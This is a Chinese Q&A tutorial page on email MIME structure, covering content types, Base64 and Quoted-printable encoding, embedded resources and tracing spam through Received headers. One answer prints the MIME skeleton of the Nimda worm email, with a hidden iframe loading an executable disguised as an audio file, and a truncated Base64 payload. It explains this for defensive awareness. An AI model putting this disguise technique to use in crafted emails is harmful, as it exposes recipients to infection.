Q Content-Type以及它们的参数有哪些形式？
A Content-Type都是“主类型/子类型”的形式。主类型有text, image, audio, video, application, multipart, message等，分别表示文本、图片、音频、视频、应用、分段、消息等。每个主类型都可能有多个子类型，如text类型就包含plain, html, xml, css等子类型。以X-开头的主类型和子类型，同样表示自定义的类型，未向IANA正式注册，但大多已经约定成俗了。如application/x-zip-compressed是ZIP文件类型。在Windows中，注册表的“HKEY_CLASSES_ROOT\MIME\Database\Content Type”内列举了除multipart之外大部分已知的Content-Type。
关于参数的形式，RFC里有很多补充规定，有的允许带几个参数，较为常见的有
| 主类型 | 参数名 | 含义 |
| text | charset | 字符集 |
| image | name | 名称 |
| application | name | 名称 |
| multipart | boundary | 边界 |
其中字符集也能在Windows注册表的“HKEY_CLASSES_ROOT\MIME\Database\Charset”内见到。
Q Content-Transfer-Encoding有哪些？有什么特点？
A Content-Transfer-Encoding共有Base64, Quoted-printable, 7bit, 8bit, Binary等几种。其中7bit是缺省的编码方式。电子邮件源码最初设计为全部是可打印的ASCII码的形式。非ASCII码的文本或数据要编码成要求的格式，如上面的三个例子。Base64, Quoted-Printable是在非英语国家使用最广使的编码方式。Binary方式只具有象征意义，而没有任何实用价值。
Base64将输入的字符串或一段数据编码成只含有{‘A‘-‘Z‘, ‘a‘-‘z‘, ‘0‘-‘9‘, ‘+‘, ‘/‘}这64个字符的串，‘=‘用于填充。其编码的方法是，将输入数据流每次取6 bit，用此6 bit的值(0-63)作为索引去查表，输出相应字符。这样，每3个字节将编码为4个字符(3×8 → 4×6)；不满4个字符的以‘=‘填充。有的场合，以“=?charset?B?xxxxxxxx?=”表示xxxxxxxx是Base64编码，且原文的字符集是charset。如例3第7行"=?gb2312?B?wLbAtrXEzOwNCg==?="是由简体中文“蓝蓝的天”编码而成的。在段体内则直接编码，适当时机换行，MIME建议每行最多76个字符。如例3的1697-3125行，是一个ZIP文件的Base64编码。
Quoted-printable根据输入的字符串或字节范围进行编码，若是不需编码的字符，直接输出；若需要编码，则先输出‘=‘，后面跟着以2个字符表示的十六进制字节值。有的场合，以“=?charset?Q?xxxxxxxx?=”表示xxxxxxxx是Quoted-printable编码，且原文的字符集是charset。在段体内则直接编码，适当时机换行，换行前额外输出一个‘=‘。如例3的44-59行，是HTML文本的Quoted-printable编码。其中第45行“=C7=E7=C0=CA”原文是“晴朗”，因为“晴”的GB2312码是C7E7，“朗”的GB2312码是C0CA。第48、53、57行末尾只有孤零零的‘=‘，表示这是由编码造成的软回车，而非原文固有的。
近年来，国内多数邮件服务器已经支持8bit方式，因此只在国内传输的邮件，特别是在邮件头中，可直接使用8bit编码，对汉字不做处理。如果邮件要出国，还是老老实实地按Base64或Quoted-printable编码才行。
Q 什么是内嵌资源？它有哪些形式？
A 内嵌资源也是MIME的一个发光点，它能使邮件内容变得生动活泼、丰富多彩。可在邮件的multipart/related框架内定义一些与正文关联的图片、动画、声音甚至CSS样式和脚本的段。通常在HTML正文内，使用超级链接与内嵌资源相联系。如在例3中，HTML正文53-54行，解码后为
<BODY background=cid:007901c3111c$72b978a0$0100007f@bluesky bgColor=#ffffff>它指出用一个Content-ID为007901c3111c$72b978a0$0100007f@bluesky的图片作为背景(cid:xxxxxxxx也是一种超级链接)。而64-169行恰好就是这样一个内嵌资源。
除了用Content-ID进行联系外，还有另外一种常用形式：用普通超级连接和Content-Location。例如：
在HTML正文中，
... ... ... ...<IMG SRC="/pic/2005/7/12/1313001.gif">... ... ... ...<IMG SRC="http://www.dangdang.com/dd2001/getimage_small.asp?id=486341">... ... ... ...对应的内嵌资源为
Content-Type: image/gif; name="anti_joyo_dm_book.gif"Content-Transfer-Encoding: base64Content-Location: /pic/2005/7/12/1313001.gif... ... ... ...Content-Type: application/octet-stream; name="getimage_small.asp?id=486341"Content-Transfer-Encoding: base64Content-Location: http://www.dangdang.com/dd2001/getimage_small.asp?id=486341... ... ... ...另外，
Content-Location: /pic/2005/7/12/1313001.gif与
Content-Location: anti_joyo_dm_book.gifContent-Base: http://www.dangdang.com/images/all/是等效的。
Q 邮件病毒如何利用附件和内嵌资源传播？
A 有的邮件附件可能带有病毒，容易理解。附件毕竟是文件，也好预防，不轻易打开就是了。但内嵌资源是在浏览邮件内容时就要访问的，若其中藏有病毒或恶意代码，你在不知不觉中就中招了。如前两年曾经在全球范围内流行的Nimda病毒，功能性源码如下：
MIME-Version: 1.0Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC1234567890DEF_====" --====_ABC1234567890DEF_====Content-Type: multipart/alternative; boundary="====_ABC0987654321DEF_====" --====_ABC0987654321DEF_====Content-Type: text/html; charset="iso-8859-1"Content-Transfer-Encoding: 7bit <HTML><HEAD></HEAD><BODY bgColor=#ffffff><iframe src=cid:EA4DMGBP9p height=0 width=0></iframe></BODY></HTML>--====_ABC0987654321DEF_====-- --====_ABC1234567890DEF_====Content-Type: audio/x-wav; name="readme.exe"Content-Transfer-Encoding: base64Content-ID: <EA4DMGBP9p> TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAA11CFvcbVPPHG1TzxxtU88E6pcPHW1TzyZqkU8dbVPPJmqSzxytU88cbVO... ... ... ... ... ... ... ...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= --====_ABC1234567890DEF_====它将一个可执行文件作为资源嵌入了框架型页面，却声明这段可执行代码是波形声音类型。由于当时微软的IE(版本5.0及以下)存在重大安全漏洞，没有检查Content-Type与name的扩展名是否匹配，于是就被轻易骗过了，致使点选或打开邮件时自动运行了这个“readme.exe”，机器就感染上病毒。带毒的机器利用地址簿向别人发送带毒的邮件，一传十，十传百，Nimda蠕虫大行其道。
纵观历史，病毒刚出来时是厉害，但没有任何一种能够持续肆虐下去。Nimda如此，SARS亦当如此。曰：“多难兴邦，众志成城”，又曰：“非典终将倒下，城市精神永存”，相信我们定能很快战胜“非典”!
病毒库升级是跟在新病毒屁股后进行的，不要过分依赖杀毒软件。一个良好的习惯是关闭邮件预览功能，或者设定预览纯文本部分，先查看邮件源码，确信排除病毒嫌疑后再打开。对陌生人发来的带超文本正文的邮件，尤其要当心。永远不要在邮件客户端软件内直接打开附件。
Q 一些垃圾邮件采取隐藏发件人的方式，如何追查它们来自哪里？
A 从上面的邮件头域名表中可以看出，邮件的创建者可以掌握大部分的域的内容，但Received等域由各级服务器自动添加，发件人是鞭长莫及。垃圾邮件一般采用了群发软件发送，邮件头的From域(发件人地址)可以任意伪造，甚至写成收件人地址(收到了自己并没有发过的垃圾邮件，气愤吧？)。查看Received域(传输路径)链可以找到真正的出处。每个服务器添加的Received语句都在邮件首，故最下面一个Received就包含了发件人所用的SMTP或HTTP服务器，及最初的网关外部IP地址。
Receive语句的基本格式是：from A by B。A为发送方，B为接收方。例如：
Received: (qmail 45304 invoked from network); 4 May 2003 17:05:47 -0000Received: from unknown (HELO bjapp9.163.net) (202.108.255.197) by 202.106.182.244 with SMTP; 4 May 2003 17:05:47 -0000Received: from localhost (localhost [127.0.0.1]) by bjapp9.163.net (Postfix) with SMTP id E1C761D84C631 for <bhw98@sina.com>; Mon, 5 May 2003 01:07:26 +0800 (CST)Received: from fanyingxxxx@tom.com (unknown [211.99.162.194]) by bjapp9.163.net (Coremail) with SMTP id OgEAAM1ItT7MNaLC.1 for <bhw98@sina.com>; Mon, 05 May 2003 01:07:26 +0800 (CST)从上面的例子中不难看出，该邮件的传输路径是：211.99.162.194 → bjapp9.163.net (Coremail 202.108.255.197?) → bjapp9.163.net (Postfix, 202.108.255.197?) → 202.106.182.244。恰好出现了发件人邮箱fanyingxxxx@tom.com，但多数情况不一定能列出来。
此例的localhost [127.0.0.1]，意味着bjapp9.163.net上安装了邮件服务代理性质的软件。
.分页: [1] [2]
- 上一篇:邮件身份验证机制分析
- 下一篇:电子邮件SMTP规范